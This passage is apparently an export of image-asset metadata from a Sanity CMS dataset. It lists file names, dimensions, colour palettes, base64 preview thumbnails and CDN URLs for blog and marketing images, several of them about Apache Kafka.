"population":2.93,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c07c62","foreground":"#fff","population":0.64,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"markos-sfikas.jpg","path":"images/sczeoy4w/production/ba85544cbc04ffb2a664361f9b81a994bc9a2941-860x860.jpg","sha1hash":"ba85544cbc04ffb2a664361f9b81a994bc9a2941","size":116808,"uploadId":"Rmi0zr8TyA3JTG0nJPHLDKMO8473iCji","url":"https://cdn.sanity.io/images/sczeoy4w/production/ba85544cbc04ffb2a664361f9b81a994bc9a2941-860x860.jpg"} {"_createdAt":"2024-02-22T19:27:41Z","_id":"image-bac0ce935c97182123804c766f8edb1e6c16133c-252x200-jpg","_rev":"AhQsd13Ciq0lSu1FlhKS5y","_type":"sanity.imageAsset","_updatedAt":"2024-02-22T19:27:41Z","assetId":"bac0ce935c97182123804c766f8edb1e6c16133c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V59?|3=|ENNKSi~CnONGogs-00n+$%xtsR4o?G=|t8WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.26,"height":200,"width":252},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAQABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUBBAf/xAAkEAACAQMDAwUAAAAAAAAAAAABAgMABBEFEiEGImETMTJRgv/EABUBAQEAAAAAAAAAAAAAAAAAAAMC/8QAGREBAAMBAQAAAAAAAAAAAAAAAQACEhEh/9oADAMBAAIRAxEAPwDOLXTtV1OVAISm0n5dvH3UXXSiRtaIbuLDSHuU8jwTVRda1GSfdK5yEZSQcZzSJ7y5ighSTIYSbtxOST5o+WGK3qnsb3vTDm5f05UZR7ENmilU2r3RfPP54oqjUNzP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#523d37","foreground":"#fff","population":7.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c2109","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#523d37","foreground":"#fff","population":7.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbd4ba","foreground":"#000","population":0.02,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6bfa2","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c5c5c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c7444","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Bricco.jpeg","path":"images/sczeoy4w/production/bac0ce935c97182123804c766f8edb1e6c16133c-252x200.jpg","sha1hash":"bac0ce935c97182123804c766f8edb1e6c16133c","size":10057,"uploadId":"AVQzwpbNtz1Ezad9yh7qKZ5nzggzBrhB","url":"https://cdn.sanity.io/images/sczeoy4w/production/bac0ce935c97182123804c766f8edb1e6c16133c-252x200.jpg"} {"_createdAt":"2022-11-28T13:34:21Z","_id":"image-bb4f4ac890b0d208706860d8bfc0205c70f77a12-1567x844-jpg","_rev":"z7EiK8inwybcbhSAyIvFGa","_type":"sanity.imageAsset","_updatedAt":"2022-11-28T13:34:21Z","assetId":"bb4f4ac890b0d208706860d8bfc0205c70f77a12","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M86bcq_4RjRQWB_4%NM{WBbFRPM{V@xut7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAIDBAUH/8QAHxAAAgICAQUAAAAAAAAAAAAAAQIAAwQxIQUREiJh/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgUG/8QAGBEAAgMAAAAAAAAAAAAAAAAAAAECEUH/2gAMAwEAAhEDEQA/AOZVZXRzRSGFIYL7d15JmNn5tVrPVj0VLVoN48yhkaTWpGu5p1HSI5YMR8hEhHQbP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3862","foreground":"#fff","population":1.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":61.83,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":61.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acaccc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98ace4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a47c64","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b34748","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"8_Tips_for_getting_Kafka_Connect_config_right_blog (1).jpg","path":"images/sczeoy4w/production/bb4f4ac890b0d208706860d8bfc0205c70f77a12-1567x844.jpg","sha1hash":"bb4f4ac890b0d208706860d8bfc0205c70f77a12","size":170287,"uploadId":"ge5ltEqxA6gQXJjwmQVbZYrUFZ4WSMVW","url":"https://cdn.sanity.io/images/sczeoy4w/production/bb4f4ac890b0d208706860d8bfc0205c70f77a12-1567x844.jpg"} {"_createdAt":"2022-12-14T10:52:06Z","_id":"image-bb79f06c0abe03a610bc0d09f1ca75129f5d8847-2000x1106-png","_rev":"aJQte7Rd1SiavAM6Q6qNoq","_type":"sanity.imageAsset","_updatedAt":"2022-12-14T10:56:36Z","altText":null,"assetId":"bb79f06c0abe03a610bc0d09f1ca75129f5d8847","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8083182640144666,"height":1106,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABNElEQVQokXWSgW4EIQhE7///tL1VUUFBwG10r7dtk04mOjE+jOhDeBJ6LbacrYKVvLxytobT7fxPjwVXK3AbkkLSKzd0s3nOeV7DvL1g91N1Dtke2/K2DzFTdbNVw+dbr5OvaRebvvUOpjq4D+4qMpiHiDD33kXk4t/wVDVmbq3x3kFEmHMBoFp7a1RrAUgxhhAQ0d1vWFVba6UUAMg5l1JSSsfnR3g+Ia0VSBCPcDyPUvKvk92diGKMKSbYKnnB4TjCEfZizpBTTBlu8gWbGVaMIQIAbhFRrbXkkiHXUgkJEWutRGR2P92C94VVWEREvzW2uHPv3Fkac+vMvHYMczUz98d6BX01+ecHcHdVXS3sTCLIQrvEyjJIhqg+ehuIXWT8ga8WImJnFjMxG2pjh5XN1OwL9SCBL9bsfugAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7c4444","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c2262","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b2a6ed","foreground":"#000","population":0.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4acb4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b2a6ed","foreground":"#000","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c5cac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c6ccc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"DevRelCon-Prague2022-PLG1.png","path":"images/sczeoy4w/production/bb79f06c0abe03a610bc0d09f1ca75129f5d8847-2000x1106.png","sha1hash":"bb79f06c0abe03a610bc0d09f1ca75129f5d8847","size":150284,"title":null,"uploadId":"6Jf03dKi9wNtHneh8tRSnksCMfqGpOEv","url":"https://cdn.sanity.io/images/sczeoy4w/production/bb79f06c0abe03a610bc0d09f1ca75129f5d8847-2000x1106.png"} {"_createdAt":"2022-06-30T20:09:57Z","_id":"image-bb819f6e3e41a47dc986cdfb337649ae969abfcd-1440x684-png","_rev":"8WeirZ6KB9gJqgJfviPsW1","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:35:46Z","assetId":"bb819f6e3e41a47dc986cdfb337649ae969abfcd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M03bzI#nZM.mbwHXx^*0QlVrt-VsQ-yXt8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1052631578947367,"height":684,"width":1440},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABkElEQVQokT1SSW7cQAzUF+J4pN649KIRPHZsB/DFCLIAyf+/VAEpjQ6lJimyitXS1EQh0lGoI5eGmASPl4SHr+HEl4fFYfFlTgiRERIjZkHKgpgYSyDMS8FUSJGpgXV1xKy4LAWXULBYY2KPH+eMORTEIoikWDJjyXTksvcZoZFlbmjjCW29eTwn2ptFHTZstUCMVBWxKhYmR1Dec9qFp2J2uft2JMNt7ISMyOo4tyFBrhVJ1ckNURWpVgQSzNEJB0iMsIGlorAikaH6toZ45EU7qA4UbUhcUaSBrKYdmStCZkw2wLWjjhVtXaF9gLTBN7dGMVIbtsHh513IcjpqJhiyYLKHKWlfUccV3KyhORnX1U9r9g2NVIbHsehJWu6EiTGlcjTWsduxjcxKHWC313d7bYPe3tCe36HXG7IOJ7T3d1G3zHoFV8N62rFT2tXV3Z501JfveP75Fy+//mH7+ISst/1ajgVM1H4h/yg2rH1zgrs1y6Vth0hHe3rFt8/feP3xB+vbB6ht5106qPk1/AeYwg8zxKNpvgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#45342d","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a6d76","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#83c8d2","foreground":"#000","population":0.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2bbc2","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#83c8d2","foreground":"#000","population":0.45,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#64748c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#58c9d6","foreground":"#000","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bb819f6e3e41a47dc986cdfb337649ae969abfcd-1440x684.png","path":"images/sczeoy4w/production/bb819f6e3e41a47dc986cdfb337649ae969abfcd-1440x684.png","sha1hash":"bb819f6e3e41a47dc986cdfb337649ae969abfcd","size":105010,"uploadId":"g9L6cWPXQkmvKTW2T5UOIPQ45m14zeWI","url":"https://cdn.sanity.io/images/sczeoy4w/production/bb819f6e3e41a47dc986cdfb337649ae969abfcd-1440x684.png"} {"_createdAt":"2022-06-16T22:54:04Z","_id":"image-bb93d2bd5bcf02760b7fde629ba06ec52ed10e57-371x371-png","_rev":"qkpX9b3U0TpOGFQp8fO0mn","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:04Z","assetId":"bb93d2bd5bcf02760b7fde629ba06ec52ed10e57","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e6T9L#-;?b?bj[%MfQt7j[ay~qofD%Rjay_3j[M{ayj[9Fay%Mt7of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":371,"width":371},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAA10lEQVQ4je2R3Y6EIAyFff+H1GhWZZAfaRQQbN0EwszurMkkzuXsd9H0oqfnUKrjDap/8dWDEVGM0XvvnFsL1tpcQwhEdC4mIkRc11UpJYRgjI3jyBi7FZZlQURKnDgjonPOGKO1VkpJKYUQUsrcA4ArxBjziofzvu/GmLEwDMNXgjHGOc+LOOfTNN1TPMQhBCllm+i6rm3bpmnquu77XikFCWMMAHjvfznn2NbaeZ611nMi5weAbdv2AibP5zdn/X3oafonx9+D5fCnvP7nC1RXRMcHi78BdKicxi+bDV8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414141","foreground":"#fff","population":0.67,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#414141","foreground":"#fff","population":0.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0c0c0","foreground":"#000","population":0.21,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#909090","foreground":"#fff","population":0.47,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"placeholder-img.png","path":"images/sczeoy4w/production/bb93d2bd5bcf02760b7fde629ba06ec52ed10e57-371x371.png","sha1hash":"bb93d2bd5bcf02760b7fde629ba06ec52ed10e57","size":4800,"uploadId":"qYv8m0ymZok3aZEVwieXauZ81ZQgqCbD","url":"https://cdn.sanity.io/images/sczeoy4w/production/bb93d2bd5bcf02760b7fde629ba06ec52ed10e57-371x371.png"} {"_createdAt":"2022-06-30T19:59:01Z","_id":"image-bbacc7906f4a29b7fb8b076576d7069ffca3a849-1600x471-png","_rev":"lf1jOsEAA7PAFZMZhZodAq","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:06Z","assetId":"bbacc7906f4a29b7fb8b076576d7069ffca3a849","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DaRb-h{LPVOrzp$libWsnNbc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.397027600849257,"height":471,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABcRAAAXEQHKJvM/AAABrUlEQVQYlSXF3UtTAQDG4fNPdNVNgRAEFQQSC4SIiiim2dqotbbmOsudmdsxo7RGlm42SDdsUlGJfay8KbOQNAY1YcmsVmpEnzdBrCgIoauy9xfRc/MYbPVJ9U2i0YSd5v9dYdhlgtuP9nlQuAFZG5G1ml/RFVSPbOJFNk5pIs/0/BtNPa/yZOS+PvU0ypAzKO2OCn8cArYI2P+GkA1hC1l+aHWhti38jtfyw97A60Sc4kCGqdG7lMvvVZ5dYGb8pT70JWRoW0B4IsIXA39c+FphTxS8JgR8KOiEUB06uJYFy8G7w8087b7AdPYyleFbzE8WVSnMURl+rI+ppAy8LdCZhlROpHLQOwidveALQsNm5FoH3pUsBmqoHtjOjJ2l2J2n1N/Pq6Ekb++keXYxp9njfXw5ZmLQckJcGRGjE+j2AzH2EIZugNUM9XXItQZ8NSw2LeOr6aRi5yicus5Y+iyTAx0UzsV1ryNGKezXN9shA3dEtPeIrgzqyojTGTiagL1u2OFAnlXgX84fcyk/I7V8bjvE3JlLjJ/PczM3yNXkSV2zQjzav17fY0v0F3QiUgT9oGq0AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f4109","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ca5c0e","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c54","foreground":"#fff","population":9.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#f4f0f0","foreground":"#000","population":8.91,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c54","foreground":"#fff","population":9.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#454382","foreground":"#fff","population":5.59,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6814","foreground":"#fff","population":6.63,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bbacc7906f4a29b7fb8b076576d7069ffca3a849-1600x471.png","path":"images/sczeoy4w/production/bbacc7906f4a29b7fb8b076576d7069ffca3a849-1600x471.png","sha1hash":"bbacc7906f4a29b7fb8b076576d7069ffca3a849","size":155568,"uploadId":"2Txx6OG4WCwthPrt6juAvYTZekf07Yqb","url":"https://cdn.sanity.io/images/sczeoy4w/production/bbacc7906f4a29b7fb8b076576d7069ffca3a849-1600x471.png"} {"_createdAt":"2023-06-07T13:32:24Z","_id":"image-bbbc2a1c8be5fcf3d6af9fc706535fee8e76ed34-1920x1037-jpg","_rev":"OSa4Of7leLeKOMRysgiGTS","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:32:24Z","assetId":"bbbc2a1c8be5fcf3d6af9fc706535fee8e76ed34","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MkJ8InV?X8kCRi~qRj%Mayadx]oft7ofay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUHBgj/xAAlEAACAQMDAgcAAAAAAAAAAAABAgMABAUGESETUQcSFDFBcXP/xAAVAQEBAAAAAAAAAAAAAAAAAAADBP/EABkRAQEAAwEAAAAAAAAAAAAAAAEAAiIxQf/aAAwDAQACEQMRAD8AfYjXt1lsnmZLq7AtmHSgtQQAg7/dMsFlzjZYpnHVjQEtGTsDUh0mA9/npGG7ohKnsa0sxMzYxZGZgYW35PPFFirsz5AantQ8b41aetoHjmi8sgkYkb+3NFcjZBR6+4/Q/NFNT8v/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6e4e3b","foreground":"#fff","population":6.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#543324","foreground":"#fff","population":5.91,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6e4e3b","foreground":"#fff","population":6.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acccd4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4cc9c","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a705c","foreground":"#fff","population":4.83,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b26c4c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"catalyst-customer-img.jpg","path":"images/sczeoy4w/production/bbbc2a1c8be5fcf3d6af9fc706535fee8e76ed34-1920x1037.jpg","sha1hash":"bbbc2a1c8be5fcf3d6af9fc706535fee8e76ed34","size":1180815,"uploadId":"lt7rdBJ6VeXlS6fbH8Zqx8cka3YDEy8f","url":"https://cdn.sanity.io/images/sczeoy4w/production/bbbc2a1c8be5fcf3d6af9fc706535fee8e76ed34-1920x1037.jpg"} {"_createdAt":"2023-01-26T12:35:53Z","_id":"image-bbc410ac7e92b7845d8529babd85169b703bef3a-2500x1308-jpg","_rev":"pnOvEyahjeT2Gte9fWnnhr","_type":"sanity.imageAsset","_updatedAt":"2023-01-26T12:35:53Z","assetId":"bbc410ac7e92b7845d8529babd85169b703bef3a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M76IXU_4MxIURj_N-;M{M{WVIURioft7of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAMEBQf/xAAgEAABAwQCAwAAAAAAAAAAAAABAAIEAwURMRJxEyEi/8QAFwEAAwEAAAAAAAAAAAAAAAAAAQIFBv/EABkRAAMAAwAAAAAAAAAAAAAAAAABAhEhQf/aAAwDAQACEQMRAD8A5XDuFpZFosrxwXhuHHhtZVzkxJLnGNG8RzsH1jpU6x+GdKNu1qFKWyI64MIh2iYGD//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#52283e","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":64.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":64.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acacc6","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2bbd6","foreground":"#000","population":0.51,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e7493","foreground":"#fff","population":1.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c54b4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Webhook_datafrom_Apache_Kafka®_to_the_world_social_media.jpg","path":"images/sczeoy4w/production/bbc410ac7e92b7845d8529babd85169b703bef3a-2500x1308.jpg","sha1hash":"bbc410ac7e92b7845d8529babd85169b703bef3a","size":266569,"uploadId":"Rr8sVNsbRGrFyEu8fYwu2HOxXL3fxTfU","url":"https://cdn.sanity.io/images/sczeoy4w/production/bbc410ac7e92b7845d8529babd85169b703bef3a-2500x1308.jpg"} {"_createdAt":"2022-09-17T18:10:34Z","_id":"image-bbccffb2ffd864264b7a26b9e924071d673eea1b-1000x1000-png","_rev":"StyfnzRSyhTCbsBlPUHxwG","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T18:10:34Z","assetId":"bbccffb2ffd864264b7a26b9e924071d673eea1b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eEJQZot-004mK%0X5G?^;[L}01NeIo#RFM[Q?9;1KSKS0d,-T1L3}s","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1000,"width":1000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343b48","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#052a63","foreground":"#fff","population":3.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#052a63","foreground":"#fff","population":3.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e2ddc9","foreground":"#000","population":0.36,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9d480","foreground":"#000","population":0.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#667094","foreground":"#fff","population":0.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccc0c","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"i